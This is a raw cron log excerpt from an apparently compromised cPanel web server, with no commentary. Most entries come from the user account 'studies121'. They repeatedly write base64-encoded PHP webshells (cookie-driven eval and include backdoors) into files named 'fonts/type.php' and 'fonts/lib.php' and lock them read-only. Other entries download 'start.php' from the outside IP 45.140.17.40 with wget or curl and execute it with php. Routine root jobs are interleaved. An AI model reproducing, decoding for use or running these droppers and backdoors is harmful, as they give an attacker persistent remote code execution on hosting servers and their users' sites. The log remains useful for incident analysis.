Sep  3 11:12:01 ip-184-168-122-23 CROND[26512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:12:01 ip-184-168-122-23 CROND[26513]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:12:01 ip-184-168-122-23 CROND[26514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:12:01 ip-184-168-122-23 CROND[26515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:12:01 ip-184-168-122-23 CROND[26516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:13:01 ip-184-168-122-23 CROND[26630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:13:01 ip-184-168-122-23 CROND[26631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:13:01 ip-184-168-122-23 CROND[26634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:13:01 ip-184-168-122-23 CROND[26632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:14:01 ip-184-168-122-23 CROND[26810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:14:01 ip-184-168-122-23 CROND[26811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:14:01 ip-184-168-122-23 CROND[26814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:14:01 ip-184-168-122-23 CROND[26817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:14:01 ip-184-168-122-23 CROND[26815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:15:01 ip-184-168-122-23 CROND[26922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:15:01 ip-184-168-122-23 CROND[26926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:15:01 ip-184-168-122-23 CROND[26924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:15:01 ip-184-168-122-23 CROND[26925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:15:01 ip-184-168-122-23 CROND[26927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:15:01 ip-184-168-122-23 CROND[26929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:16:01 ip-184-168-122-23 CROND[27104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:16:01 ip-184-168-122-23 CROND[27106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:16:01 ip-184-168-122-23 CROND[27107]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 11:16:01 ip-184-168-122-23 CROND[27109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:16:01 ip-184-168-122-23 CROND[27108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:16:01 ip-184-168-122-23 CROND[27110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:17:01 ip-184-168-122-23 CROND[27351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:17:01 ip-184-168-122-23 CROND[27352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:17:02 ip-184-168-122-23 CROND[27353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:17:02 ip-184-168-122-23 CROND[27355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:18:01 ip-184-168-122-23 CROND[27456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:18:01 ip-184-168-122-23 CROND[27459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:18:01 ip-184-168-122-23 CROND[27458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:18:01 ip-184-168-122-23 CROND[27460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:18:01 ip-184-168-122-23 CROND[27461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:19:01 ip-184-168-122-23 CROND[27661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:19:01 ip-184-168-122-23 CROND[27662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:19:01 ip-184-168-122-23 CROND[27663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:19:01 ip-184-168-122-23 CROND[27667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:20:01 ip-184-168-122-23 CROND[27767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:20:01 ip-184-168-122-23 CROND[27768]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:20:01 ip-184-168-122-23 CROND[27772]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:20:01 ip-184-168-122-23 CROND[27771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:20:01 ip-184-168-122-23 CROND[27774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:20:01 ip-184-168-122-23 CROND[27775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:20:01 ip-184-168-122-23 CROND[27776]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 11:20:01 ip-184-168-122-23 CROND[27777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:20:01 ip-184-168-122-23 CROND[27781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:21:01 ip-184-168-122-23 CROND[27914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:21:01 ip-184-168-122-23 CROND[27918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:21:01 ip-184-168-122-23 CROND[27917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:21:01 ip-184-168-122-23 CROND[27916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:22:01 ip-184-168-122-23 CROND[28035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:22:01 ip-184-168-122-23 CROND[28038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:22:01 ip-184-168-122-23 CROND[28039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:22:01 ip-184-168-122-23 CROND[28040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:22:01 ip-184-168-122-23 CROND[28037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:23:01 ip-184-168-122-23 CROND[28164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:23:01 ip-184-168-122-23 CROND[28166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:23:01 ip-184-168-122-23 CROND[28165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:23:01 ip-184-168-122-23 CROND[28167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:24:01 ip-184-168-122-23 CROND[28407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:24:01 ip-184-168-122-23 CROND[28409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
